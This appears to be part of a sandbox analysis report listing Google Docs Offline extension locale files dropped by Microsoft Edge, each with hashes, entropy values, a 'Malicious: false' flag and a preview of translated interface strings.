C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
